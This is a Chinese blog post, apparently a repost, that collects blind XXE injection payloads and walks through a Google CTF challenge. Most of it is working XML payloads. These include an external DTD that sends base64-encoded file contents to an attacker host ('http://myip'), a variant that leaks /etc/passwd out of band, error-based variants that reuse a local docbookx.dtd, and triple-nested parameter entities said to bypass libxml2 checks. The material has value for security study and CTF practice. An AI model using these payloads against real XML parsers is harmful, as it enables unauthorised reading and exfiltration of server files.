XXE注入

0x01 贴出源地址

Blind XXE详解与Google CTF一道题分析

0x02 贴出常用payload

一、Blind XXE

1、外部DTD

(1)先在自己的服务器中加入下列DTD文件

xml.dtd

     <!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://myip:10001/?%file;'>">
%start;

然后请求的数据为下面(用php协议将发送的数据编码为base64)

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "http://myip/xml.dtd">  
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    %remote;
    %send;
]>
<message>1234</message>

2、 本地DTD文件

ubuntu系统自带的/usr/share/yelp/dtd/docbookx.dtd部分内容

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    <!ENTITY % ISOamso '
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;http://myip/?&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;send;
    '> 
    %remote;
]>
<message>1234</message>

二、基于报错的Blind XXE

基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。
所以和OOB的构造方式几乎只有url出不同,其他地方一模一样。

1、通过引入服务器文件

xml.dtd

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'file:///hhhhhhh/%file;'>">
%start;
<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "http://blog.szfszf.top/xml.dtd">
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    %remote;
    %send;
]>
<message>1234</message>

2、通过引入本地文件

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    <!ENTITY % ISOamso '
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;file://hhhhhhhh/?&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;send;
    '> 
    %remote;
]>
<message>1234</message>

0x03 google CTF

题目地址

先用burpsuite抓包
在这里插入图片描述
这儿发现了问题,基于jsonweb应用,有时候也可以发送xml,我们将json改成xml,然后发送payload

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ELEMENT message ANY>
    <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % para1 SYSTEM "file:///flag">
    <!ENTITY % ISOamso '
        <!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
        &#x25;para2;
    '>
    %remote;
]>
<message>10</message>

可是我发现,如果我不引用外部DTD文件,直接通过嵌套参数实体,这道题同样可以做出来。

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ELEMENT message ANY>
    <!ENTITY % para1 SYSTEM "file:///flag">
    <!ENTITY % para '
        <!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
        &#x25;para2;
    '>
    %para;
]>
<message>10</message

0x04有趣的发现

我发现,虽然W3C协议是不允许在内部的实体声明中引用参数实体,但是很多XML解析器并没有很好的执行这个检查。几乎所有XML解析器能够发现如下这种两层嵌套式的

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % file SYSTEM "file:///etc/passwd">  
    <!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://myip/?%file;'>">
    %start;
    %send;
]>
<message>10</message>

但是对于三层嵌套参数实体构造的payload有些XML解析器是无法检测出来的,比如我本次测试的两种组合php7.2 + libxml2 2.9.4版本和php5.4 + libxml2 2.9.1都是可以有效利用的

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ELEMENT message ANY>
    <!ENTITY % para1 SYSTEM "file:///flag">
    <!ENTITY % para '
        <!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
        &#x25;para2;
    '>
    %para;
]>
<message>10</message>

这意味着,不用引用外部dtd也可以实现Blind XXE

发布了47 篇原创文章 · 获赞 2 · 访问量 3148

猜你喜欢

转载自blog.csdn.net/a3320315/article/details/102789157
xxe